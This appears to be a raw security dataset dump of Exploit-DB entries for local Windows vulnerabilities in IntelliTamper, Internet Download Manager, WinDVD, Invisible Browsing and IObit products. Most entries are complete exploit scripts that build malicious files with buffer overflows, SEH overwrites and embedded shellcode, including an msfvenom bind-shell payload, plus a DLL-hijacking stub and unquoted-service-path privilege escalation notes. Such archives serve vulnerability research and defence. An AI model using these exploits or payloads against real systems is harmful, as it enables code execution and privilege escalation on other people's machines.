deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7707
Description: IntelliTamper (2.07/2.08) - Language Catalog Overflow (SEH)
Type: local
Platform: windows
Date: 2009-01-08
Author: Cnaph

Exploit:
#!usr/bin/python
# IntelliTamper (2.07/2.08) Language Catalog SEH Overflow Exploit.
    # we start off the exploitation with some fuzzing to determine how many bytes
    # before overwriting the pointer to next SEH
    # and pointer to SEH, we will try and overwrite each address with 41414141 "AAAA" [Pointer to next SEH]
    # and 42424242 "BBBB" [pointer to SEH].
   
# 0x41414141  Pointer to next SEH record
# 0x42424242  SE handler
#
# The vulnerability was discovered by 'Cnaph'. First click in "File" through your IntelliTamper and >> "Options"
# Then open your crafted file .CAT to update your Language catalog and your SEH will be overwritten.
# This exploit implements the SEH technique to exploit the issue . . .
# When doing SEH overwrites the pointer to the SEH handler is target to be overwritten,
# so we can gain control over the program.
#/Cnaph.
print "[+] IntelliTamper (2.07/2.08) Language Catalog SEH Overflow Exploit.";
Variable = "\x24\x30\x30\x30\x38\x30\x3D";
Junks =("\x41"*761)+("\x91"*19702)+(106*"\x41")
Nex_SEHHandler = "\xeb\x06\x90\x90"; # JMP
SEH_handler = "\x61\xfb\x86\x7c"; # SE.42424242 le SEH handler est ecrasÃ©.
                         # L'addresse de dÃ©placement de l'indicateur SEH va etre changÃ©.
                         # KERNEL32.DLL (CALL EBX POP POP RET)
NOP_SLED = "\x90"*12
Shellcode =((("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
              "\x77\x1d\x80\x7c" #LoadlibaryA(libaryname)
              "\x51\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
              "\x28\xac\x80\x7c" #GetProcAddress(hmodule,functionname)
              "\xff\xd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51"
              "\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x7c\xff\xd0\xe8\xc4\xff"
              "\xff\xff\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc2\xff\xff"
              "\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc2\xff\xff"
              "\xff\x63\x4E\x34\x70\x68\x75\x78"))); #
Plus = "\n\n\n\n"
Seh_overwrite = Variable + Junks + Nex_SEHHandler + SEH_handler + NOP_SLED + Shellcode
genre = ".CAT";
Title = "IntelliTamper_DZ";
headers = open(Title + genre, "w")
headers.write(Seh_overwrite)
headers.close()
print "[+] Exploit file has been successfully built.";
print "\n\Cnaph.";

# milw0rm.com [2009-01-08]
Exploit-DB #6106
Description: IntelliTamper 2.07 - '.map' Local Arbitrary Code Execution (2)
Type: local
Platform: windows
Date: 2008-07-21
Author: Guido Landi

Exploit:
#!/usr/bin/perl
# k`sOSe - 7/21/2008
# http://secunia.com/advisories/20172
# A sploit for an ancient vuln. Just because i need 
# to improve my skills on windows explotation.

use warnings;
use strict;

# CMD="c:\windows\system32\calc.exe"
# [*] x86/alpha_mixed succeeded, final size 345
# bad char -> \x89

my $shellcode = 
"\x54\x5a\xda\xd0\xd9\x72\xf4\x59\x49\x49\x49\x49\x49\x49\x49" .
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41" .
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" .
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b" .
"\x4c\x4a\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55" .
"\x47\x4c\x4c\x4b\x43\x4c\x43\x35\x44\x38\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a\x4b" .
"\x51\x59\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49" .
"\x50\x4a\x39\x4e\x4c\x4c\x44\x49\x50\x44\x34\x43\x37\x49\x51" .
"\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c\x34\x47\x4b\x50" .
"\x54\x51\x34\x44\x44\x42\x55\x4a\x45\x4c\x4b\x51\x4f\x46\x44" .
"\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51" . 
"\x4f\x45\x4c\x43\x31\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31" .
"\x4a\x4b\x4d\x59\x51\x4c\x46\x44\x45\x54\x48\x43\x51\x4f\x46" .
"\x51\x4c\x36\x43\x50\x51\x46\x43\x54\x4c\x4b\x50\x46\x50\x30" .
"\x4c\x4b\x47\x30\x44\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c" .
"\x4b\x42\x48\x44\x48\x4c\x49\x4b\x48\x4d\x53\x49\x50\x42\x4a" .
"\x46\x30\x45\x38\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x45\x38\x4a" .
"\x38\x4b\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x45\x33" .
"\x47\x4a\x51\x4c\x42\x57\x43\x59\x42\x4e\x43\x54\x42\x4f\x44" .
"\x37\x42\x53\x51\x4c\x44\x33\x44\x39\x44\x33\x44\x34\x43\x55" . 
"\x42\x4d\x46\x53\x47\x42\x51\x4c\x43\x53\x43\x51\x42\x4c\x45" .
"\x33\x46\x4e\x42\x45\x43\x48\x43\x55\x45\x50\x45\x5a\x41\x41";

print	"### SITEMAP1 INTELLITAMPER\n"	.
	"\x41\x41" 				.
	"\xeb\x20"			. # jump ahead
	"FOLDER##"			.
	"\x41" x 24			.
	$shellcode			.
	"E" x 108			.
	"\x59\x51\x3d\x7e"		. # ASCII friendly 'call EDI'
	"AAAA\n";

# milw0rm.com [2008-07-21]
Exploit-DB #7582
Description: IntelliTamper 2.07/2.08 - '.map' Local Overwrite (SEH)
Type: local
Platform: windows
Date: 2008-12-28
Author: Cnaph

Exploit:
#!/usr/bin/python
# IntelliTamper 2.07/2.08  (MAP File) 0-day Local SEH Overwrite Exploit
# Bug discovered by cN4phux <cN4phux@gmail.com>
# Tested on: IntelliTamper 2.07/2.08 / win32 SP3 FR
# Shellcode: Windows Execute Command (calc) <metasploit.com>
# Here's the debugger output like what u see, the EIP overwritten & attempt to read from address 41414141 so the prog must be crashz . .
# EAX 0015B488 ECX 00123400 EDX 00123610
# EBX 00000000 ESP 00123604 EBP 00128B78
# ESI 00000000 EDI 00123A64 EIP 41414141
#Vive les Algeriens & greatz to friend's : me (XD) Heurs, Djug , Blub , His0k4 , Knuthy , Moorish , Ilyes ,
#Here's the the Poc :


import sys
map_theader = ((("\x23\x23\x23\x20\x53\x49\x54\x45\x4D"
                 "\x41\x50\x31\x20\x49\x4E\x54\x45\x4C"
                 "\x4C\x49\x54\x41\x4D\x50\x45\x52\x0D\x0A"))) #junk

map_iheader = "\x46\x49\x4C\x45\x23\x23"

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = ((("\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc5"
               "\x91\xc1\x60\x83\xeb\xfc\xe2\xf4\x39\x79\x85\x60\xc5\x91\x4a\x25"
               "\xf9\x1a\xbd\x65\xbd\x90\x2e\xeb\x8a\x89\x4a\x3f\xe5\x90\x2a\x29"
               "\x4e\xa5\x4a\x61\x2b\xa0\x01\xf9\x69\x15\x01\x14\xc2\x50\x0b\x6d"
               "\xc4\x53\x2a\x94\xfe\xc5\xe5\x64\xb0\x74\x4a\x3f\xe1\x90\x2a\x06"
               "\x4e\x9d\x8a\xeb\x9a\x8d\xc0\x8b\x4e\x8d\x4a\x61\x2e\x18\x9d\x44"
               "\xc1\x52\xf0\xa0\xa1\x1a\x81\x50\x40\x51\xb9\x6c\x4e\xd1\xcd\xeb"
               "\xb5\x8d\x6c\xeb\xad\x99\x2a\x69\x4e\x11\x71\x60\xc5\x91\x4a\x08"
               "\xf9\xce\xf0\x96\xa5\xc7\x48\x98\x46\x51\xba\x30\xad\x61\x4b\x64"
               "\x9a\xf9\x59\x9e\x4f\x9f\x96\x9f\x22\xf2\xa0\x0c\xa6\x91\xc1\x60"))); # 160 byte

header_nop = "\x90"*327

retn = "\x7b\x34\x12\x00"+".html\n" # EIP value with 4 byte fix

exploit = map_theader + map_iheader + header_nop + shellcode + retn
headers = open("0x.map", "w")
headers.write(exploit)
headers.close()

print "\nFile created successfully !";
print "\n\cN4phux.";

# milw0rm.com [2008-12-28]
Exploit-DB #7608
Description: IntelliTamper 2.07/2.08 - 'ProxyLogin' Local Stack Overflow
Type: local
Platform: windows
Date: 2008-12-29
Author: His0k4

Exploit:
#usage: exploit.py
print "**************************************************************************"
print " IntelliTamper 2.07/2.08 (ProxyLogin) Local Stack Overflow\n"
print " Author: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
         	

			
header = (
	"\x2F\x2F\x20\x49\x6E\x74\x65\x6C\x6C\x69\x54\x61\x6D\x70"
	"\x65\x72\x20\x63\x6F\x6E\x66\x69\x67\x75\x72\x61\x74\x69"
	"\x6F\x6E\x20\x66\x69\x6C\x65\x0A\x0A\x46\x6F\x6C\x64\x65"
	"\x72\x73\x44\x69\x63\x74\x69\x6F\x6E\x6E\x61\x72\x79\x3D"
	"\x44\x69\x63\x74\x69\x6F\x6E\x6E\x61\x72\x79\x43\x6C\x61"
	"\x73\x73\x69\x63\x2E\x74\x78\x74\x0A\x54\x65\x78\x74\x43"
	"\x61\x74\x61\x6C\x6F\x67\x3D\x43\x3A\x5C\x50\x72\x6F\x67"
	"\x72\x61\x6D\x20\x46\x69\x6C\x65\x73\x5C\x49\x6E\x74\x65"
	"\x6C\x6C\x69\x54\x61\x6D\x70\x65\x72\x5C\x49\x6E\x74\x65"
	"\x6C\x6C\x69\x54\x61\x6D\x70\x65\x72\x5F\x55\x53\x2E\x63"
	"\x61\x74\x0A\x55\x73\x65\x50\x72\x6F\x78\x79\x41\x75\x74"
	"\x68\x3D\x31\x0A\x50\x72\x6F\x78\x79\x4C\x6F\x67\x69\x6E"
	"\x3D"
	)
	
header2 = "\x0A\x50\x72\x6F\x78\x79\x50\x61\x73\x73\x77\x6F\x72\x64\x3D"	
			
buff = "\x41" * 245

EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll

nop = "\x90" * 12  #Blah Blah :D

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
	"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
	"\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
	"\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
	"\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
	"\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
	"\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
	"\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
	"\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
	"\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
	"\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
	"\xac\x2c\xc9\x40"
    )

exploit = header + buff + EIP + nop + shellcode + header2

try:
    out_file = open("exploit.cfg",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2008-12-29]
Exploit-DB #49648
Description: Interactive Suite 3.6 - 'eBeam Stylus Driver' Unquoted Service Path
Type: local
Platform: windows
Date: 2021-03-15
Author: Luis Martínez

Exploit:
# Exploit Title: Interactive Suite 3.6 - 'eBeam Stylus Driver' Unquoted Service Path
# Discovery by: Luis Martinez
# Discovery Date: 2021-03-14
# Vendor Homepage: https://www.luidia.com
# Software Link: http://down.myequil.com/dn/setup/ScrapBook_win/down.html
# Tested Version: 3.6
# Tested on OS: Windows 10 Pro x64 es

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "eBeam" | findstr /i /v """


eBeam Stylus Driver	eBeam Stylus Driver	C:\Program Files (x86)\Luidia\eBeam Stylus Driver\eBeam_Stylus_Driver.exe	Auto


# Service info:

C:\>sc qc "eBeam Stylus Driver"
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: eBeam Stylus Driver
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\Luidia\eBeam Stylus Driver\eBeam_Stylus_Driver.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : eBeam Stylus Driver
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:

A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
Exploit-DB #21318
Description: Internet Download Manager - Local Stack Buffer Overflow
Type: local
Platform: windows
Date: 2012-09-14
Author: Dark-Puzzle

Exploit:
#!/usr/bin/perl
# 1               ==========================================               1
# 0                   I'm Dark-Puzzle From Inj3ct0r TEAM                   0
# 0                                                                        1
# 1                       dark-puzzle[at]live[at]fr                        0
# 0               ==========================================               1
# 1                              White Hat                                 1
# 0                         Independant Pentester                          0
# 1                      exploit coder/bug researcher                      0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
# Title  : Internet Download Manager All Versions - Stack Based Buffer Overflow Vulnerability.
# Author : Dark-Puzzle (Souhail Hammou)
# Type   : Local 
# Risk   : Critical
# Vendor : Tonec Inc.
# Versions : All versions of IDM are Vulnerable .
# Tested On : Windows XP Service Pack 2 FR 32-bits .
# Date : 14 September 2012
# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...


#Usage   : Copy this script to idman.pl
#Execute : perl idman.pl
#Go to the file bof.txt , Select ALL , then Copy .
# After copying the whole line Go To Downloads ---> Options ----> Dial up / VPN ----> paste the line into the username field and let the password field blank then click Enter .
#French Version : Go to : Telechargement ---> Options ---> Internet ---> then Copy The Whole line from bof.txt and paste it into the username field and let the password field blank then click Enter .

# BETTER COPY THE CONTENT OF THE FILE USING NOTEPAD++

# Bingo ! Calc.exe will show up (P.S : If you're using other that WinXP SP2 Fr you'll have to change the return address with the compatible one with your system )


my $junk = "A" x 2313 ;
my $eip = "\x5D\x38\x82\x7C" ; # For WinXP SP2 Only .
my $nops = "\x90" x 5 ;
my $shellcode = 
# Calc.exe Shellcode (19 bytes)
"\xeB\x02\xBA\xC7\x93".
"\xBF\x77\xFF\xD2\xCC".
"\xE8\xF3\xFF\xFF\xFF".
"\x63\x61\x6C\x63";


$payload= $junk.$eip.$nops.$shellcode;
open(myfile,'>bof.txt');
print myfile $payload;
close(myfile);
print "Wrote ".length($payload)." bytes\n";

#Datasec Team .
Exploit-DB #42456
Description: Internet Download Manager 6.28 Build 17 - Local Buffer Overflow (SEH Unicode)
Type: local
Platform: windows
Date: 2017-08-15
Author: f3ci

Exploit:
#!/usr/bin/python
# Exploit Title: Internet Download Manager 6.28 Build 17 - 'Find file'
SEH Buffer Overflow (Unicode)
# Date: 14-06-2017
# Exploit Author: f3ci
# Tested on: Windows 7 SP1 x86
# How to exploit: Open IDM -> Downloads -> Find -> paste exploit string
into 'Find file' text field

#msfvenom -p windows/shell_bind_tcp LHOST=4444 -e x86/unicode_mixed
BufferRegister=EAX -a x86 --platform windows -f python
#Payload size: 782 bytes
buf = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIA"
buf += "jXAQADAZABARALAYAIAQAIAQAIAhAAAZ"
buf += "1AIAIAJ11AIAIABABABQI1AIQIAIQI11"
buf += "1AIAJQYAZBABABABABkMAGB9u4JB9lK8"
buf += "4BYpIpM0QPTIwuP1y00dtKr0LpTK22Jl"
buf += "4K1Bn4TKQbMXLOWGNjNFp1KODlml31al"
buf += "zbnLKpI16olMiqfggrhrobNwrkb2N0tK"
buf += "pJmlRk0Lzq2XJCpHkQxQoaRk29o0m1wc"
buf += "dKa9jxzCmjq9dKoDdKm1fvMakOfLfavo"
buf += "jmIqHGOHGp2UzVlCqmjXoKQmKtbUhd28"
buf += "Bk28LdIq7cOvbkJlPKtK0XML9qvsDKlD"
buf += "BkjaHPayq4LdmTQK1KQQR9aJoa9oGpoo"
buf += "OoOjRkZrjKbmOmBHMcp2IpM0RH1g2SNR"
buf += "OopTqXnlQglfzgkOyEtxdPKQIpIpmYy4"
buf += "Ntb0Phlie0rKM09oXU2J9x0Yr0Xb9mq0"
buf += "r0a0npC87zZoyO9PKOj5bwBHJbkPkaQL"
buf += "e97vrJZp0VQGRHy2GknWBGYohUR7phUg"
buf += "Gy08IoyovuogqXsDXlmk8aIoXUR7dWph"
buf += "t5bNpMaQioVuQXrCbM34ypu9Gs1Gogb7"
buf += "01xvrJjr29qF8bim365wPDldoLzajaTM"
buf += "q4ldjpuvypMtR4np26of26Mv0VnnaFaF"
buf += "OcpVPhD9HLOO1vio6u2iwpNnr6pFKO00"
buf += "Ph9xBgMMOpyofuWKHpVUcrr6qXeVruUm"
buf += "3mkO9EOLlFcLJjcPyk9PRUyugK0GN3RR"
buf += "0o2Jip23yoj5AA"
 
#venetian
venetian = "\x53"           #push ebx
venetian += "\x42"          #align
venetian += "\x58"          #pop eax
venetian += "\x42"          #align
venetian += "\x05\x02\x01"  #add eax,01000200
venetian += "\x42"          #align
venetian += "\x2d\x01\x01"  #add eax,01000100
venetian += "\x42"          #align
venetian += "\x50"          #push esp
venetian += "\x42"          #align
venetian += "\xC3"          #ret

nseh = "\x61\x47" # popad
seh =  "\x46\x5f" # 0x005f0046 IDMan.exe

buffer = "\x41" * 2192      #junk
buffer += nseh + seh        #nseh + seh
buffer += venetian          #venetian
buffer += "\x42" * 109      #junk
buffer += buf               #shellcode
buffer += "HeyCanYouFind"   #junk
buffer += "ThisFileHuh?"    #junk

 
filename = "C:\\Users\Lab\Desktop\idm.txt"
file = open(filename, 'w')
file.write(buffer)
file.close()
print buffer
print "[+] File created successfully"
Exploit-DB #14753
Description: InterVideo WinDVD 5 - 'cpqdvd.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Beenu Arora

Exploit:
/*
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles, Dinesh Arora , Ganesha
# Site : www.BeenuArora.com

Exploit Title: InterVideo WinDVD 5 DLL Hijacking Exploit
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3 , WinDVD 5
Vulnerable extensions: .ifo , .mpg

Compile and rename to cpqdvd.dll, create a file in the same dir with one of
the following extensions:
.ifo , .mpg
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #9655
Description: Invisible Browsing 5.0.52 - '.ibkey' Local Buffer Overflow
Type: local
Platform: windows
Date: 2009-09-14
Author: PLATEN

Exploit:
#!/usr/bin/perl

print qq(
  ############################################################
  ##                Iranian Pentesters Home                 ##
  ##                   Www.Pentesters.Ir                    ##
  ##                  PLATEN -[ H.jafari ]-                 ## 
  ## Invisible Browsing 5.0.52 (.ibkey) Local BoF Exploit   ##
  ## bug found & exploited by:  PLATEN                      ##
  ## E-mail && blog:                                        ##
  ## hjafari.blogspot.com                                   ##
  ## platen.secure[at]gmail[dot]com                         ## 
  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder                ##
  ## and all members in Pentesters.ir                       ##
  ############################################################
);
# Note: I just test this version
$junk  ="\x41"x 5000;
$ret   = "\x93\x43\x92\x7c";
$nop   = "\x90" x 50;
# win32_exec - Size=160
#EXITFUNC=seh CMD=calc  
#Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".
"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".
"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".
"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".
"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".
"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".
"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".
"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".
"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".
"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";
open(fhandle,'>>expl.ibkey');
print fhandle $junk.$ret.$nop.$shellcode;
close(fhandle);
print "\n  [+] File created successfully: expl.ibkey \n";

# milw0rm.com [2009-09-14]
Exploit-DB #40577
Description: IObit Advanced SystemCare 10.0.2 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-19
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: IObit Advanced SystemCare Unquoted Service Path Privilege Escalation
# Date: 19/10/2016
# Author: Ashiyane Digital Security Team
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: http://www.iobit.com/en/advancedsystemcarefree.php#
# version : 10.0.2  (Latest)
# Tested on: Windows 7
##########################################################################

IObit Advanced SystemCare installs a service with an unquoted service path
To properly exploit this vulnerability, the local attacker must insert
an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AdvancedSystemCareService10
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AdvancedSystemCareService10
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\Advanced SystemCare\ASCService.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 1
        DISPLAY_NAME       : Advanced SystemCare Service 10
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
################################################
######### Ashiyane Digital Security Team ############
########## exploit by: Amir.ght #####################
################################################
Exploit-DB #40525
Description: IObit Malware Fighter 4.3.1 - Unquoted Service Path Privilege Escalation
Type: local
Platform: windows
Date: 2016-10-13
Author: Amir.ght

Exploit:
#########################################################################
# Exploit Title: IObit Malware Fighter Unquoted Service Path Privilege
Escalation
# Date: 12/10/2016
# Author: Amir.ght
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link:
http://www.iobit.com/downloadcenter.php?product=malware-fighter-free
#version : 4.3.1  (Latest)
# Tested on: Windows 7
##########################################################################

IObit Malware Fighter installs two service with an unquoted service path
To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run with elevated privileges.
-------------------------------------------
C:\>sc qc IMFservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IMFservice
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\IObit Malware
Fighter\IMFsrv.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 1
        DISPLAY_NAME       : IMF Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
-----------------------------------------
C:\>sc qc LiveUpdateSvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: LiveUpdateSvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\LiveUpdate\LiveUpdate.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : LiveUpdate
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem